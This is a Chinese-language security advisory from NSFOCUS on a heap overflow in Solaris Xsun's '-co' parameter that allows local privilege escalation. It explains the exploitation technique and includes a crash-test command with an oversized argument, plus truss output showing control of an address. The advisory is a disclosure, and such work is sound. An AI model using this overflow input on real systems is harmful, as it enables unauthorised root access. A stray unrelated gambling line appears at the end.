首頁 -> 安全研究

安全研究

安全公告
綠盟科技安全公告(SA2002-01)

NSFOCUS安全小組([email protected])
http://www.nsfocus.com

Solaris Xsun "-co"參數緩沖區溢出漏洞

發布日期:2002-04-02

CVE ID:CAN-2002-0158

受影響的軟件及系統:
====================
- Sun Solaris 2.6 (SPARC/x86)
- Sun Solaris 7 (SPARC/x86)
- Sun Solaris 8 (SPARC/x86)

綜述:
======
NSFOCUS安全小組發現Solaris系統所帶的Xsun在處理一個命令行參數"-co"時存在緩沖區溢出漏洞,本地攻擊者可能以root用戶或者root組權限執行任意代碼。

分析:
======
Xsun是Solaris平臺上的Xwindow 服務器(for X11)。它被安裝在/usr/openwin/bin/下。在SPARC平臺下,它被設置了setgid root屬性,在x86平臺下,它被設置了setuid root屬性。

Xsun支持一個命令行參數:“-co”,用來指定顏色數據庫文件。由于沒有對用戶輸入的文件名長度進行檢查,攻擊者可能引發一個堆溢出。小心地構造溢出數據,攻擊者可以以root用戶或者權限執行任意代碼。

如果攻擊者為“-co”參數提供一個超長的參數(例如,超過6000字節長),就可能溢出一個動態分配的緩沖區,通過覆蓋相鄰的動態內存塊邊界數據結構,就可能利用malloc()/free()實現的一些特性來重寫任意內存地址,例如保存的返回地址、函數指針等等。

在SPARC平臺下,攻擊者可能獲取root組權限。在x86平臺下,攻擊者可能獲取root用戶權限。

測試方法:
==========
[[email protected] /tmp]> uname -a
SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
[[email protected] /tmp]> truss /usr/openwin/bin/Xsun :1 -co `perl -e 'print "A"x6000'`
.....
mmap(0x00000000, 8404992, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 4, 0) = 0xFE400000
mprotect(0xFE400000, 8192, PROT_NONE) = 0
mprotect(0xFEC02000, 8192, PROT_NONE) = 0
open64("A...AAAAA", O_RDONLY) Err#78 ENAMETOOLONG
Couldn't open RGB_DB 'write(2, " C o u l d n ' t o p e".., 22) = 22
AAA...AAAAAAAAAAAAAAAAAAAAAAAAAAwrite(2, " A A A A A A A A A A A A".., 6000) = 6000
'
write(2, " '\n", 2) = 2
getpid() = 21677 [21676]
getrlimit(RLIMIT_NOFILE, 0xFFBEE3F8) = 0
setrlimit(RLIMIT_NOFILE, 0xFFBEE3F8) = 0
uname(0xFFBEDB30) = 1
getrlimit(RLIMIT_NOFILE, 0xFFBEE128) = 0
so_socket(2, 2, 0, "", 1) = 0
setsockopt(0, 6, 1, 0xFFBEE124, 4, 1) = 0
setsockopt(0, 65535, 8, 0xFFBEE120, 4, 1) = 0
setsockopt(0, 65535, 4, 0xFFBEE194, 4, 1) = 0
bind(0, 0xFFBEE1B8, 16, 3) = 0
setsockopt(0, 65535, 128, 0x00175D40, 8, 1) = 0
listen(0, 5, 1) = 0
getsockname(0, 0xFFBEE144, 0xFFBEE154, 1) = 0
uname(0xFFBEDB30) = 1
Incurred fault #5, FLTACCESS %pc = 0xFECC14C8
siginfo: SIGBUS BUS_ADRALN addr=0x41414141
Received signal #10, SIGBUS [default]
siginfo: SIGBUS BUS_ADRALN addr=0x41414141
*** process killed ***

解決方法:
==========
暫時去掉Xsun的suid root或sgid root屬性:
# chmod a-s /usr/openwin/bin/Xsun

廠商狀態:
==========
2001.8.08 我們將這個問題通報給了Sun公司。
2001.8.08 Sun回復說他們已經將此問題轉給相應小組,但至今沒有任何回音

根據我們的測試,安裝了最新的Xsun的安全補丁之后仍然存在此問題。

附加信息:
==========
通用漏洞披露(Common Vulnerabilities and Exposures)組織CVE已經為此問題
分配了一個候選名 CAN-2002-0158。此名字是為了收錄進CVE列表做候選之用,
(http://cve.mitre.org)CVE列表致力于使安全問題的命名標準化。候選名在被
正式加入CVE列表之前可能會有較大的變化。

聲 明
==========

本安全公告僅用來描述可能存在的安全問題,綠盟科技不為此安全公告提供任何保證或承諾。由于傳播、利用此安全公告所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,綠盟科技以及安全公告作者不為此承擔任何責任。綠盟科技擁有對此安全公告的修改和解釋權。如欲轉載或傳播此安全公告,必須保證此安全公告的完整性,包括版權聲明等全部內容。未經綠盟科技允許,不得任意修改或者增減此安全公告內容,不得以任何方式將其用于商業目的。

關于綠盟科技
============

綠盟科技(NSFOCUS Co., Ltd.)是中國網絡安全領域的領導企業,致力于網絡和系統安全問題的研究、高端網絡安全產品的研發、銷售與網絡安全服務,在入侵檢測/保護、遠程評估、 DDoS攻擊防護等方面提供具有國際競爭能力的先進產品,是國內最具安全服務經驗的專業公司。有關綠盟科技的詳情請參見: http://www.nsfocus.com

© 2020 綠盟科技
浙江快乐彩网上投注